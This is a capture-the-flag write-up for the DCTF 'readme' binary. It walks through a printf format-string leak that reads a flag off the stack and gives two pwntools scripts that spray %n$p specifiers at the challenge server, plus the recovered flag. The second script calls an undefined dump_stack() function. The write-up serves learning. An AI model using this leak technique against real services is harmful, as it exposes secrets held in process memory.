Preface-------
We get a binary which asks for our name and then prints hello + input.But in order for the binary to run, a file ```flag.txt``` needs to be created in the working directoy.
Overview--------
Decompiling the binary in *ghidra*, we see a function ```vuln``` where the logic happens.The decompiled function with some renaming of the variables looks like this:
```Cvoid vuln(void) {  FILE *flag_file;  long in_FS_OFFSET;  char flag [32];  char name [40];  long local_10;   stack_canary = *(long *)(in_FS_OFFSET + 40);  flag_file = fopen("flag.txt","r");  fgets(local_58,28,flag_file);  fclose(flag_file);  puts("hello, what\'s your name?");  fgets(name,30,stdin);  printf("hello ");  printf(name);  if (stack_canary != *(long *)(in_FS_OFFSET + 40)) {    __stack_chk_fail();  }  return;}```
From this we can see, that the flag is read and stored in the function stack frame.Also we can see, that our input (_name_) is directly passed to ```printf```, so we got a format string possibility.
With ```%p``` we can print values from the memory and with ```%1$p``` we can also add an offset, to what memory we want to print.
Using this I played a little bit around with offsets, until I saw the hex for the flag in the output.During the CTF my exploit was pretty simple.
```Python#!/usr/bin/env python3from pwn import *
context.arch = 'amd64'context.log_level = "INFO"
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
vulnerable = './readme'
payload = ""
for i in range(1,20):    #p = process( vulnerable )    p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)    p.readuntil('hello, what\'s your name?')    p.sendline("%{}$p.".format(i))    p.readuntil('hello ')    leak = p.read(2048, timeout=1).strip().split(b'.')    for item in leak:        try: log.info(p64(int(item, 16)))        except:            continue    p.close()```
This already gave me almost the flag. Because I had to extend a closing bracket at the end of it.
After the CTF ended, I extended my Script, to be more efficient, because I could input multiple formats up to 30 characters.Also I want to have a function to dump the memory, in order to extend the size.Also the leaked memory was combined and then printed our, this way the flag was more obvious.
```Python#!/usr/bin/env python3from pwn import *
context.arch = 'amd64'context.log_level = "INFO"
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
vulnerable = './readme'
payload = ""
def send_payload(fmtstr):    global payload    if len(payload) + len(fmtstr) >= 30:        #p = process( vulnerable )        p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)        p.readuntil('hello, what\'s your name?')        p.sendline(payload)        p.readuntil('hello ')        leak = p.read(2048, timeout=1).strip().strip(b';').split(b';')        p.close()        payload = fmtstr        return leak    else:        payload += fmtstr        return []
def dump(num_bytes_leaked=20):    leaks = []    for i in range(num_bytes_leaked):        leaks.extend(send_payload("%{}$p;".format(1+i)))    stack_leak = map(lambda y: 0 if b'nil' in y else int(y, 16), leaks)    return stack_leak
sl = dump_stack()slb = b''.join(map(p64, sl))log.info(hexdump(slb))
x = slb[slb.find(b'dctf{'):]x = x[:(x.find(b'\x00'))]log.info('flag is: ' + x.decode('ASCII') + '}')```
The complete flag was:```dctf{n0w_g0_r3ad_s0me_b00k5}```
